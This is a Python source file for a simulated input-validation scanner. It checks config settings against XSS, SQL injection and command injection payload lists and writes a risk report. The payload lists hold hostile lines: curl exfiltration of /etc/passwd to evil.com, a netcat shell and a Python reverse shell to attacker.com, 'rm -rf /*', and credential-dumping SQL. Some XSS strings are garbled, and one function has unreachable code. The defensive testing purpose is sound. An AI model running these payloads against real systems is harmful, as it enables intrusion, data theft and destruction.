import json import math import re import hashlib import datetime import base64 import html from typing import Dict, List, Optional, Any, Union class InputValidationSecurityScanner: """ Input validation weakness scanner Tests for XSS, SQL injection, command injection, and other validation vulnerabilities """ def __init__(self): self.vulnerabilities = [] self.test_results = {} self.xss_payloads = self._get_xss_payloads() self.sql_injection_payloads = self._get_sql_injection_payloads() self.command_injection_payloads = self._get_command_injection_payloads() def _get_xss_payloads(self) -> List[str]: """Get XSS test payloads""" return [ "", "

", "javascript:alert('XSS')", "", "", "

",
            "<keygen onfocus=alert('XSS') autofocus>",
            "<video><source onerror=alert('XSS')>",
            "<details open ontoggle=alert('XSS')>",
            "<marquee onstart=alert('XSS')>",
            "';alert(String.fromCharCode(88,83,83))//",
            "<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>"
        ]
    
    def _get_sql_injection_payloads(self) -> List[str]:
        """Get SQL injection test payloads"""
        return [
            "' OR '1'='1",
            "' OR '1'='1' --",
            "' OR '1'='1' /*",
            "admin'--",
            "admin'/*",
            "' OR 1=1--",
            "' OR 1=1#",
            "' OR 1=1/*",
            "') OR '1'='1--",
            "') OR ('1'='1--",
            "1' UNION SELECT username, password FROM users--",
            "1' UNION SELECT NULL, username, password FROM users--",
            "'; DROP TABLE users;--",
            "'; INSERT INTO users (username, password) VALUES ('hacker', 'password');--",
            "1' AND (SELECT COUNT(*) FROM users) > 0--",
            "1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
        ]
    
    def _get_command_injection_payloads(self) -> List[str]:
        """Get command injection test payloads"""
        return [
            "; ls -la",
            "| whoami",
            "& cat /etc/passwd",
            "`id`",
            "$(whoami)",
            "; curl http://evil.com/steal?data=$(cat /etc/passwd)",
            "| nc attacker.com 4444 -e /bin/sh",
            "; rm -rf /*",
            "& ping -c 10 127.0.0.1",
            "`python -c 'import os; os.system(\"whoami\")'`",
            "$(python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"attacker.com\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])')"
        ]
    
    def test_xss_vulnerabilities(self, input_config: Dict) -> Dict:
        """Test for Cross-Site Scripting (XSS) vulnerabilities"""
        results = {
            "vulnerable_endpoints": [],
            "bypassed_filters": [],
            "xss_types": [],
            "risk_level": "low"
        }
        
        # Test different input fields and parameters
        test_endpoints = [
            "/api/user/profile",
            "/api/search",
            "/api/comments",
            "/api/contact",
            "/api/feedback",
            "/login",
            "/register"
        ]
        
        test_parameters = [
            "username",
            "email", 
            "comment",
            "search_query",
            "message",
            "name",
            "description",
            "redirect_url"
        ]
        
        for endpoint in test_endpoints:
            for param in test_parameters:
                for payload in self.xss_payloads:
                    # Test if payload is blocked
                    is_blocked = self._test_input_filter(payload, input_config)
                    
                    if not is_blocked:
                        # Test what type of XSS this represents
                        xss_type = self._classify_xss(payload)
                        
                        vulnerability = {
                            "endpoint": endpoint,
                            "parameter": param,
                            "payload": payload,
                            "xss_type": xss_type,
                            "severity": self._calculate_xss_severity(xss_type, param)
                        }
                        
                        results["vulnerable_endpoints"].append(vulnerability)
                        
                        if xss_type not in results["xss_types"]:
                            results["xss_types"].append(xss_type)
        
        # Test filter bypass techniques
        bypass_results = self._test_xss_filter_bypass(input_config)
        results["bypassed_filters"] = bypass_results["bypasses"]
        
        # Calculate risk level
        if any(v["severity"] == "critical" for v in results["vulnerable_endpoints"]):
            results["risk_level"] = "critical"
        elif any(v["severity"] == "high" for v in results["vulnerable_endpoints"]):
            results["risk_level"] = "high"
        elif len(results["vulnerable_endpoints"]) > 0:
            results["risk_level"] = "medium"
        
        return results
    
    def test_sql_injection_vulnerabilities(self, sql_config: Dict) -> Dict:
        """Test for SQL injection vulnerabilities"""
        results = {
            "vulnerable_queries": [],
            "injection_types": [],
            "database_info": {},
            "risk_level": "low"
        }
        
        # Test database queries with different parameters
        test_scenarios = [
            {
                "query": "SELECT * FROM users WHERE username = '{input}'",
                "context": "authentication"
            },
            {
                "query": "SELECT * FROM products WHERE category = '{input}'",
                "context": "search"
            },
            {
                "query": "SELECT * FROM comments WHERE post_id = {input}",
                "context": "content"
            },
            {
                "query": "SELECT * FROM users WHERE id = {input}",
                "context": "user_management"
            }
        ]
        
        for scenario in test_scenarios:
            query_template = scenario["query"]
            context = scenario["context"]
            
            for payload in self.sql_injection_payloads:
                # Test if injection is successful
                injection_result = self._test_sql_injection(query_template, payload, sql_config)
                
                if injection_result["successful"]:
                    vulnerability = {
                        "query_template": query_template,
                        "context": context,
                        "payload": payload,
                        "injection_type": injection_result["type"],
                        "impact": injection_result["impact"],
                        "severity": self._calculate_sql_injection_severity(injection_result["type"], context)
                    }
                    
                    results["vulnerable_queries"].append(vulnerability)
                    
                    if injection_result["type"] not in results["injection_types"]:
                        results["injection_types"].append(injection_result["type"])
        
        # Try to extract database information
        db_info = self._attempt_database_enumeration(sql_config)
        if db_info:
            results["database_info"] = db_info
        
        # Calculate risk level
        if any(v["severity"] == "critical" for v in results["vulnerable_queries"]):
            results["risk_level"] = "critical"
        elif any(v["severity"] == "high" for v in results["vulnerable_queries"]):
            results["risk_level"] = "high"
        elif len(results["vulnerable_queries"]) > 0:
            results["risk_level"] = "medium"
        
        return results
    
    def test_command_injection_vulnerabilities(self, cmd_config: Dict) -> Dict:
        """Test for command injection vulnerabilities"""
        results = {
            "vulnerable_commands": [],
            "system_impact": [],
            "risk_level": "low"
        }
        
        # Test scenarios where user input might reach system commands
        test_scenarios = [
            {
                "command": "ping -c 4 {input}",
                "context": "network_tools"
            },
            {
                "command": "convert image.jpg -resize {input} output.jpg",
                "context": "image_processing"
            },
            {
                "command": "cat /var/log/{input}.log",
                "context": "log_viewing"
            },
            {
                "command": "curl {input}",
                "context": "api_requests"
            }
        ]
        
        for scenario in test_scenarios:
            command_template = scenario["command"]
            context = scenario["context"]
            
            for payload in self.command_injection_payloads:
                # Test if command injection is successful
                injection_result = self._test_command_injection(command_template, payload, cmd_config)
                
                if injection_result["successful"]:
                    vulnerability = {
                        "command_template": command_template,
                        "context": context,
                        "payload": payload,
                        "injection_technique": injection_result["technique"],
                        "system_impact": injection_result["impact"],
                        "severity": self._calculate_command_injection_severity(injection_result["impact"], context)
                    }
                    
                    results["vulnerable_commands"].append(vulnerability)
                    
                    if injection_result["impact"] not in results["system_impact"]:
                        results["system_impact"].append(injection_result["impact"])
        
        # Calculate risk level
        if any(v["severity"] == "critical" for v in results["vulnerable_commands"]):
            results["risk_level"] = "critical"
        elif any(v["severity"] == "high" for v in results["vulnerable_commands"]):
            results["risk_level"] = "high"
        elif len(results["vulnerable_commands"]) > 0:
            results["risk_level"] = "medium"
        
        return results
    
    def test_input_validation_bypasses(self, validation_config: Dict) -> Dict:
        """Test input validation bypass techniques"""
        results = {
            "bypass_techniques": [],
            "vulnerable_validators": [],
            "encoding_bypasses": []
        }
        
        # Test various bypass techniques
        bypass_payloads = [
            # Case bypass
            "<ScRiPt>alert('XSS')</ScRiPt>",
            "<IMG SRC=x OnError=alert('XSS')>",
            
            # Encoding bypass
            "%3Cscript%3Ealert('XSS')%3C/script%3E",  # URL encoding
            "<script>alert('XSS')</script>",  # HTML entities
            "\\x3Cscript\\x3Ealert('XSS')\\x3C/script\\x3E",  # Hex encoding
            
            # Null byte bypass
            "<script>alert('XSS')\0.jpg",
            
            # Comment bypass
            "alert('XSS')",
            
            # Attribute bypass
            "<img src=x\" onerror=\"alert('XSS')\">",
            
            # Tab/Newline bypass
            "<img\tsrc=x\tonerror=alert('XSS')>",
            
            # Double encoding
            "%253Cscript%253Ealert('XSS')%253C/script%253E"
        ]
        
        test_input_types = ["username", "email", "comment", "search_query", "file_upload"]
        
        for input_type in test_input_types:
            for payload in bypass_payloads:
                # Test if validation is bypassed
                bypass_successful = self._test_validation_bypass(payload, input_type, validation_config)
                
                if bypass_successful:
                    bypass_info = {
                        "input_type": input_type,
                        "payload": payload,
                        "bypass_type": self._classify_bypass_technique(payload),
                        "severity": "high" if "script" in payload.lower() else "medium"
                    }
                    
                    results["bypass_techniques"].append(bypass_info)
        
        # Test encoding bypasses specifically
        encoding_tests = [
            ("%3Cscript%3Ealert('XSS')%3C/script%3E", "url_encoding"),
            ("%253Cscript%253Ealert('XSS')%253C/script%253E", "double_url_encoding"),
            ("<script>alert('XSS')</script>", "html_entity_encoding"),
            ("<script>alert('XSS')</script>", "hex_html_entity"),
            ("\\u003Cscript\\u003Ealert('XSS')\\u003C/script\\u003E", "unicode_encoding")
        ]
        
        for payload, encoding_type in encoding_tests:
            if not validation_config.get(f"blocks_{encoding_type}", True):
                results["encoding_bypasses"].append({
                    "payload": payload,
                    "encoding_type": encoding_type,
                    "severity": "high"
                })
        
        return results
    
    def _test_input_filter(self, payload: str, config: Dict) -> bool:
        """Test if input filter blocks payload"""
        filter_rules = config.get("filter_rules", [])
        sanitize_html = config.get("sanitize_html", False)
        strip_tags = config.get("strip_tags", False)
        
        # Check blacklist filtering
        blacklist = config.get("blacklist", [])
        for blacklisted_term in blacklist:
            if blacklisted_term.lower() in payload.lower():
                return True
        
        # Check XSS filtering
        if config.get("xss_protection", True):
            xss_patterns = [r'<script', r'javascript:', r'onerror=', r'onload=', r'onclick=']
            for pattern in xss_patterns:
                if re.search(pattern, payload, re.IGNORECASE):
                    return not config.get("allow_filtered_xss", False)
        
        # Check HTML sanitization
        if sanitize_html:
            # Simulate HTML sanitization
            sanitized = re.sub(r'<[^>]*>', '', payload)
            return len(sanitized) < len(payload)
        
        # Check tag stripping
        if strip_tags:
            return not re.search(r'<[^>]*>', payload)
        
        return False
    
    def _classify_xss(self, payload: str) -> str:
        """Classify XSS payload type"""
        payload_lower = payload.lower()
        
        if '<script>' in payload_lower:
            return "reflected_xss"
        elif 'onerror=' in payload_lower or 'onload=' in payload_lower:
            return "dom_based_xss"
        elif 'javascript:' in payload_lower:
            return "protocol_based_xss"
        elif re.search(r'<svg|<body|<iframe', payload_lower):
            return "html_based_xss"
        else:
            return "unknown_xss"
    
    def _calculate_xss_severity(self, xss_type: str, parameter: str) -> str:
        """Calculate XSS severity based on type and context"""
        if parameter in ["redirect_url", "callback", "next"]:
            return "critical"  # High-impact parameters
        
        if xss_type in ["reflected_xss", "dom_based_xss"]:
            return "high"
        elif xss_type == "protocol_based_xss":
            return "medium"
        else:
            return "low"
    
    def _test_xss_filter_bypass(self, config: Dict) -> Dict:
        """Test XSS filter bypass techniques"""
        bypasses = []
        
        # Test case variation bypass
        case_payload = "<ScRiPt>alert('XSS')</ScRiPt>"
        if not self._test_input_filter(case_payload, config):
            bypasses.append({
                "technique": "case_variation",
                "payload": case_payload,
                "description": "Case variation bypasses case-sensitive filters"
            })
        
        # Test encoding bypass
        encoded_payload = "%3Cscript%3Ealert('XSS')%3C/script%3E"
        if not config.get("decode_input", True):
            bypasses.append({
                "technique": "url_encoding",
                "payload": encoded_payload,
                "description": "URL encoding bypasses filters that don't decode input"
            })
        
        # Test attribute injection
        attr_payload = "<img src=x\" onerror=\"alert('XSS')\">"
        if not config.get("filter_attributes", True):
            bypasses.append({
                "technique": "attribute_injection",
                "payload": attr_payload,
                "description": "Event handler injection bypasses tag-based filters"
            })
        
        return {"bypasses": bypasses}
    
    def _test_sql_injection(self, query_template: str, payload: str, config: Dict) -> Dict:
        """Test SQL injection in query"""
        # Check if input is sanitized
        if config.get("parameterized_queries", True):
            return {"successful": False, "type": "blocked", "impact": "none"}
        
        # Check input validation
        if config.get("sql_input_validation", True):
            sql_keywords = ["'", ";", "--", "/*", "*/", "xp_", "sp_"]
            for keyword in sql_keywords:
                if keyword in payload:
                    return {"successful": False, "type": "blocked", "impact": "none"}
        
        # Simulate SQL injection detection
        if "OR" in payload.upper() and "1" in payload:
            return {"successful": True, "type": "boolean_blind", "impact": "data_exfiltration"}
        elif "UNION" in payload.upper():
            return {"successful": True, "type": "union_based", "impact": "data_dump"}
        elif "DROP" in payload.upper():
            return {"successful": True, "type": "destructive", "impact": "data_destruction"}
        else:
            return {"successful": True, "type": "error_based", "impact": "information_disclosure"}
    
    def _calculate_sql_injection_severity(self, injection_type: str, context: str) -> str:
        """Calculate SQL injection severity"""
        if injection_type == "destructive":
            return "critical"
        elif injection_type in ["union_based", "boolean_blind"]:
            return "high"
        elif injection_type == "error_based":
            return "medium"
        else:
            return "low"
        
        # Context-based adjustment
        if context == "authentication":
            return "critical"
        elif context == "user_management":
            return "high"
        
        return severity
    
    def _test_command_injection(self, command_template: str, payload: str, config: Dict) -> Dict:
        """Test command injection vulnerability"""
        # Check if input validation exists
        if config.get("command_input_validation", True):
            dangerous_chars = [";", "|", "&", "`", "$", "(", ")", "<", ">"]
            for char in dangerous_chars:
                if char in payload:
                    return {"successful": False, "technique": "blocked", "impact": "none"}
        
        # Check if proper escaping is used
        if config.get("shell_escape", True):
            return {"successful": False, "technique": "escaped", "impact": "none"}
        
        # Analyze payload impact
        if "rm -rf" in payload:
            return {"successful": True, "technique": "file_deletion", "impact": "data_destruction"}
        elif "cat /etc/passwd" in payload:
            return {"successful": True, "technique": "file_read", "impact": "information_disclosure"}
        elif "curl" in payload or "nc" in payload:
            return {"successful": True, "technique": "network_connection", "impact": "reverse_shell"}
        else:
            return {"successful": True, "technique": "command_execution", "impact": "system_compromise"}
    
    def _calculate_command_injection_severity(self, impact: str, context: str) -> str:
        """Calculate command injection severity"""
        if impact == "data_destruction" or impact == "system_compromise":
            return "critical"
        elif impact == "reverse_shell":
            return "high"
        elif impact == "information_disclosure":
            return "medium"
        else:
            return "low"
    
    def _test_validation_bypass(self, payload: str, input_type: str, config: Dict) -> bool:
        """Test if validation can be bypassed"""
        # Check encoding bypass
        if config.get("decode_input", False) == False:
            if "%" in payload or "&#x" in payload:
                return True
        
        # Check case sensitivity
        if config.get("case_sensitive_validation", True):
            if any(c.isupper() for c in payload) and "script" in payload.lower():
                return True
        
        # Check length limits
        max_length = config.get(f"{input_type}_max_length", 1000)
        if len(payload) > max_length and config.get("truncate_input", True):
            # Truncation might bypass validation
            if "<script>" in payload[:max_length]:
                return True
        
        return False
    
    def _classify_bypass_technique(self, payload: str) -> str:
        """Classify the bypass technique used"""
        if "%" in payload:
            return "encoding_bypass"
        elif any(c.isupper() for c in payload) and "script" in payload.lower():
            return "case_bypass"
        elif "\0" in payload:
            return "null_byte_bypass"
        elif "<!--" in payload:
            return "comment_bypass"
        elif "\t" in payload or "\n" in payload:
            return "whitespace_bypass"
        else:
            return "unknown_bypass"
    
    def _attempt_database_enumeration(self, config: Dict) -> Dict:
        """Attempt to gather database information"""
        # Simulate database enumeration
        if not config.get("prevent_db_enumeration", True):
            return {
                "database_type": "mysql",
                "version": "5.7.33",
                "tables": ["users", "products", "orders"],
                "current_user": "root@localhost"
            }
        return {}
    
    def generate_input_validation_report(self) -> Dict:
        """Generate comprehensive input validation security report"""
        report = {
            "assessment_date": datetime.datetime.now().isoformat(),
            "assessment_type": "input_validation_security",
            "vulnerabilities": self.vulnerabilities,
            "test_results": self.test_results,
            "risk_summary": self._calculate_risk_summary(),
            "recommendations": self._generate_recommendations()
        }
        return report
    
    def _calculate_risk_summary(self) -> Dict:
        """Calculate overall risk summary"""
        total_vulnerabilities = len(self.vulnerabilities)
        critical_count = len([v for v in self.vulnerabilities if v.get("severity") == "critical"])
        high_count = len([v for v in self.vulnerabilities if v.get("severity") == "high"])
        
        if critical_count > 0 or high_count > 5:
            risk_level = "critical"
        elif high_count > 0:
            risk_level = "high"
        elif total_vulnerabilities > 3:
            risk_level = "medium"
        elif total_vulnerabilities > 0:
            risk_level = "low"
        else:
            risk_level = "minimal"
        
        return {
            "risk_level": risk_level,
            "vulnerability_count": total_vulnerabilities,
            "critical_vulnerabilities": critical_count,
            "high_vulnerabilities": high_count,
            "security_score": max(0, 100 - (critical_count * 40) - (high_count * 25) - (total_vulnerabilities * 3))
        }
    
    def _generate_recommendations(self) -> List[str]:
        """Generate security recommendations based on findings"""
        recommendations = []
        
        # Analyze vulnerabilities and generate targeted recommendations
        vuln_types = [v.get("type", "") for v in self.vulnerabilities]
        
        if any("xss" in v.lower() for v in vuln_types):
            recommendations.append("Implement comprehensive XSS protection: input validation, output encoding, and CSP headers")
            recommendations.append("Use modern web frameworks with built-in XSS protection")
        
        if any("sql_injection" in v.lower() for v in vuln_types):
            recommendations.append("Use parameterized queries/prepared statements for all database operations")
            recommendations.append("Implement proper input validation and SQL privilege restrictions")
        
        if any("command_injection" in v.lower() for v in vuln_types):
            recommendations.append("Avoid system calls with user input; use safe alternatives")
            recommendations.append("Implement strict input validation and proper shell escaping")
        
        if any("bypass" in v.lower() for v in vuln_types):
            recommendations.append("Implement defense-in-depth: multiple layers of validation")
            recommendations.append("Normalize and decode all input before validation")
        
        if not recommendations:
            recommendations.append("Input validation appears secure - continue regular security testing")
        
        return recommendations

def demo_input_validation_scanning():
    """Demonstration of input validation security scanning"""
    scanner = InputValidationSecurityScanner()
    
    # Test 1: XSS vulnerabilities
    input_config = {
        "filter_rules": ["<script>"],
        "sanitize_html": False,
        "strip_tags": False,
        "xss_protection": False,  # Vulnerable
        "case_sensitive_validation": True
    }
    
    xss_results = scanner.test_xss_vulnerabilities(input_config)
    scanner.test_results["xss_testing"] = xss_results
    
    # Test 2: SQL injection vulnerabilities
    sql_config = {
        "parameterized_queries": False,  # Vulnerable
        "sql_input_validation": False,
        "prevent_db_enumeration": False
    }
    
    sql_results = scanner.test_sql_injection_vulnerabilities(sql_config)
    scanner.test_results["sql_injection_testing"] = sql_results
    
    # Test 3: Command injection vulnerabilities
    cmd_config = {
        "command_input_validation": False,  # Vulnerable
        "shell_escape": False
    }
    
    cmd_results = scanner.test_command_injection_vulnerabilities(cmd_config)
    scanner.test_results["command_injection_testing"] = cmd_results
    
    # Test 4: Input validation bypasses
    validation_config = {
        "decode_input": False,  # Vulnerable
        "case_sensitive_validation": True,
        "truncate_input": True
    }
    
    bypass_results = scanner.test_input_validation_bypasses(validation_config)
    scanner.test_results["validation_bypass_testing"] = bypass_results
    
    # Collect vulnerabilities
    if len(xss_results["vulnerable_endpoints"]) > 0:
        for vuln in xss_results["vulnerable_endpoints"]:
            scanner.vulnerabilities.append({
                "type": "xss",
                "severity": vuln["severity"],
                "description": f"XSS in {vuln['endpoint']} parameter {vuln['parameter']}"
            })
    
    if len(sql_results["vulnerable_queries"]) > 0:
        for vuln in sql_results["vulnerable_queries"]:
            scanner.vulnerabilities.append({
                "type": "sql_injection",
                "severity": vuln["severity"],
                "description": f"SQL injection in {vuln['context']}: {vuln['injection_type']}"
            })
    
    if len(cmd_results["vulnerable_commands"]) > 0:
        for vuln in cmd_results["vulnerable_commands"]:
            scanner.vulnerabilities.append({
                "type": "command_injection",
                "severity": vuln["severity"],
                "description": f"Command injection in {vuln['context']}: {vuln['system_impact']}"
            })
    
    if len(bypass_results["bypass_techniques"]) > 0:
        for vuln in bypass_results["bypass_techniques"]:
            scanner.vulnerabilities.append({
                "type": "validation_bypass",
                "severity": vuln["severity"],
                "description": f"Validation bypass in {vuln['input_type']}: {vuln['bypass_type']}"
            })
    
    return scanner.generate_input_validation_report()

if __name__ == "__main__":
    # Run demonstration
    validation_report = demo_input_validation_scanning()
    print("Input Validation Security Scanning Results:")
    print(json.dumps(validation_report, indent=2))